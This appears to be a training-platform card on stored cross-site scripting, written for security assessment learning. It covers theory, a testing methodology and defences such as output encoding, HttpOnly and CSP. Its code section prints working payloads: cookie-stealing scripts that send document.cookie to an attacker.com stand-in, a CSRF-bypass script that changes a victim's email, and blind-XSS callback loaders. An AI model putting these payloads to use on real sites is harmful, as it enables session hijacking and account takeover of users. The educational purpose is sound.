Browse CTFs New CTF Sign in

Stored XSS: Persistent Script Injection for Session Hijacking and Admin Panel Exploitation

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Stored XSS carries substantially higher impact than reflected XSS because the payload executes automatically for every user who views the infected content — no social engineering or link-clicking is required from the victim. A stored XSS in a user profile viewed by administrators, or in a product review viewed by shoppers, creates a persistent attack surface. The 2005 Samy worm exploited stored XSS in MySpace and infected over one million profiles in under 20 hours without any victim interaction beyond viewing an infected page. Modern equivalents have been found in Slack, GitHub, and major e-commerce platforms via bug bounty programs.

Core Concept

Stored XSS (also called persistent XSS) occurs when user-supplied input containing script code is saved to a database or file system and later rendered in HTML responses without appropriate encoding. Every subsequent page view that includes the stored content executes the injected script in the viewer's browser.

The key distinction from reflected XSS is persistence: the payload is stored on the server and executes for all victims who view the affected content without any further attacker involvement. This changes the impact model significantly: - A single injection point can compromise hundreds or thousands of users. - Administrator accounts are particularly at risk if they view user-generated content (comments, profiles, support tickets). - The payload persists until explicitly removed from the database.

Common sink locations for stored XSS: comment sections, user profile names and bios, product reviews, chat messages, support ticket systems, forum posts, and any admin dashboard that displays user-submitted data.

Cookie theft is the archetypal stored XSS payload: document.cookie contains the session token, which can be exfiltrated to an attacker-controlled server: new Image().src = 'http://attacker.com/?c=' + btoa(document.cookie). If the HttpOnly flag is not set on the session cookie, this directly enables session hijacking.

Stored XSS to CSRF escalation: once an attacker has XSS execution in the victim's browser, they can perform any action the victim could perform — including state-changing actions that CSRF tokens would normally protect. The XSS script can read the CSRF token from the page DOM and include it in a forged request, bypassing CSRF protection entirely.

Blind XSS refers to stored XSS that fires in a context the attacker cannot directly observe — typically an admin panel, logging dashboard, or PDF report generator. XSS Hunter (now xsshunter.trufflesecurity.com) or BXSS Hunter provides callback infrastructure: the payload sends a beacon containing the page URL, cookie, and screenshot back to the attacker's server when it fires in the admin context.

Technical Deep-Dive

// Basic stored XSS payload — cookie exfiltration
// Inject into comment/bio/review field:
<script>
new Image().src = "http://attacker.com/steal?c=" + btoa(document.cookie);
</script>

// Shorter alternatives when character limits apply:
<img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
<svg onload="location='http://attacker.com/?c='+document.cookie">

// Stored XSS → CSRF escalation
// Read CSRF token from DOM, then make authenticated state-change request:
<script>
fetch('/account/email')
  .then(r => r.text())
  .then(html => {
    const csrf = html.match(/name="csrf_token" value="([^"]+)"/)[1];
    return fetch('/account/email', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'csrf_token=' + csrf + '&[email protected]'
    });
  });
</script>

// Blind XSS payload (XSS Hunter format):
// Injects a script tag loading xsshunter payload:
';"><script src="https://YOUR_XSSHUNTER_SUBDOMAIN.xss.ht"></script>
// When fired in admin panel: sends URL, cookies, DOM, screenshot to attacker
// Stored XSS via username (demonstrates second-order display injection)
// Register with username: <img src=x onerror=alert(document.domain)>
// When admin views user list, the username renders as an HTML tag

// Stored XSS in JSON API response rendered by frontend JavaScript:
// Application fetches /api/comments and does:
document.getElementById('comments').innerHTML = data.comment;
// If data.comment = '<img src=x onerror=alert(1)>' it fires
// (DOM-based sink, stored payload — intersection of stored and DOM XSS)
# Manual testing approach:
# 1. Inject into every stored-input field:
<xss-test-stored-1>

# 2. Log out, log in as different user, navigate to pages displaying stored data
# 3. Check source for unencoded <xss-test-stored-1>
# 4. Replace with execution payload and confirm in browser

# Blind XSS setup with xsshunter-express:
# Self-hosted: docker run -p 8082:8082 mandatoryprogrammer/xsshunter-express
# Register payload URL, inject into every stored field:
# '>"><script src=//YOUR_HOST/></script>

Security Assessment Methodology

  1. Enumerate all stored-input surfaces — Identify every feature that persists user input: registration fields (name, bio, address), content creation (posts, comments, reviews), settings (notification preferences, custom labels).
  2. Inject marker payloads — Submit <xss-stored-test> into each stored field. Navigate to every page that displays stored content (including admin dashboards if accessible) and search source for the unencoded marker.
  3. Identify admin-visible stored content — Determine which stored content is visible to administrators (user management, support queue, audit logs). These are high-value blind XSS targets.
  4. Test blind XSS with callback payload — For admin-visible content, inject an XSS Hunter or custom callback payload. Monitor the callback server for incoming beacons confirming execution.
  5. Demonstrate cookie exfiltration — In a test environment with a non-HttpOnly session cookie, demonstrate document.cookie exfiltration to an attacker-controlled endpoint.
  6. Test CSRF bypass via XSS — If CSRF protection is in place, demonstrate that XSS allows CSRF token extraction and state-change bypass.
  7. Document persistence and impact scope — Report the exact fields affected, which user roles are impacted (all users, admins only), and the persistence duration.

Defensive Countermeasure — Apply output encoding at render time (not input time): HTML-encode all stored user-generated content when rendering it into HTML templates. Do not rely on input sanitisation at storage time as the sole defence — encoding at the point of output is the robust fix. Additionally, set the HttpOnly flag on session cookies (prevents document.cookie access), implement a strict Content-Security-Policy with script-src 'self' (prevents inline scripts and external script loads), and use a sanitisation library (DOMPurify on the frontend, bleach in Python, OWASP Java HTML Sanitizer) for any content that genuinely requires HTML formatting.

Common Assessment Errors

  • Only testing as the injecting user — Stored XSS must be viewed by a different user (or role) to confirm cross-user impact. Always test by logging out and viewing the page as a second user.
  • Missing admin-panel injection surfaces — Admin interfaces that display user-submitted data (usernames, addresses, review content) are high-impact stored XSS targets that are frequently missed.
  • Not testing blind XSS — Without a callback mechanism, stored XSS in admin-only views will never be observed. Always deploy a blind XSS payload into admin-visible fields.
  • Undervaluing stored XSS — Bug bounty programs and reports sometimes rate stored XSS lower than expected due to unclear impact articulation. Always demonstrate cookie exfiltration or CSRF bypass to establish maximum impact.
  • Forgetting to test character limits — Many stored input fields have character limits that truncate payloads. Test with progressively shorter payloads, or use encoded/event-based payloads that are more compact.
  • Not checking JSON API endpoints — Frontend JavaScript that fetches stored data via API and inserts it with innerHTML creates a stored + DOM XSS combination that DAST scanners may miss.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops understanding of stored XSS persistence model, CSRF bypass chain, and blind XSS methodology
K0070 Knowledge of system and application security threats and vulnerabilities Covers session cookie flags, CSP as mitigation, and admin-panel impact amplification
S0001 Skill in conducting vulnerability scans Trains multi-user testing methodology and blind XSS callback deployment
S0044 Skill in mimicking threat behaviors Builds adversarial skill in cookie theft and CSRF token extraction via stored XSS
T0028 Test system security controls Covers HttpOnly/CSP configuration review and output encoding assessment
T0028 Test system security controls Covers stored content rendering review and sanitisation library assessment

Further Reading

  • Cross-Site Scripting (XSS) — PortSwigger Web Security Academy (Stored XSS labs)
  • XSS Hunter — Truffle Security (xsshunter.trufflesecurity.com documentation)
  • The Samy Worm: Technical Analysis — Samy Kamkar, 2005 (samyjs.com)

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.